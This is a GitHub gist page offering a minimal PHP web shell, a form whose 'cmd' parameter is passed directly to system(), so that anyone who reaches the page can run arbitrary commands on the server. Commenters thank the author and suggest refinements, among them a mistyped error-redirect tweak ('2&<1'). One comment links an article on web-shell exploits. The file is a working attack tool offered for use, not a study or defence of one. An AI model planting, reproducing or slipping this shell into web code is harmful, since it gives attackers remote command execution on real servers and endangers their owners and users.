Skip to content

Instantly share code, notes, and snippets.

@joswr1ght

joswr1ght/easy-simple-php-webshell.php

Last active April 1, 2024 15:28
Show Gist options
  • Save joswr1ght/22f40787de19d80d110b37fb79ac3985 to your computer and use it in GitHub Desktop.
Save joswr1ght/22f40787de19d80d110b37fb79ac3985 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
easy-simple-php-webshell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
@larsonreever
Copy link

However, there are a number of potential entry points, from coding error in the web application to configuration issues in either the web server or PHP, and you need only one single exploitable vulnerability to be successful. once can have a good overview on web shells with examples here https://secure.wphackedhelp.com/blog/web-shell-php-exploit/

@Sh1n0g1
Copy link

Sh1n0g1 commented Jul 15, 2019 •
edited

It's better to have the isset function before accessing the global variable $_GET['cmd']
like this if(isset($_GET['cmd']))

@joswr1ght
Copy link
Author

It's better to have the isset function before accessing the global variable $_GET['cmd']
like this if(isset($_GET['cmd']))

👍Thanks!

@fractalspace
Copy link

Nice and simple

@sahiljack
Copy link

That's actually helpful. Thanks

@EphDoering
Copy link

You can use the autofocus attribute to avoid the script and then it'll still autofocus in browsers with scripts blocked.

@joswr1ght
Copy link
Author

You can use the autofocus attribute to avoid the script and then it'll still autofocus in browsers with scripts blocked.

Updated, thank you!

@rmdhfz
Copy link

rmdhfz commented Sep 6, 2021

Nice.....

@KnightChaser
Copy link

Thank you :) 👍

@achabi-ismail
Copy link

thanks

@unaiiM
Copy link

unaiiM commented Apr 26, 2023 •
edited

better:

if(isset($_GET['cmd']))
{
    system($_GET['cmd'] . ' 2&<1');
}

Adding 2&<1 you can see the error output.

@pdwilso
Copy link

pdwilso commented Jan 7, 2024

better:

if(isset($_GET['cmd']))
{
    system($_GET['cmd'] . ' 2&<1');
}

Adding 2&<1 you can see the error output.

TY

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment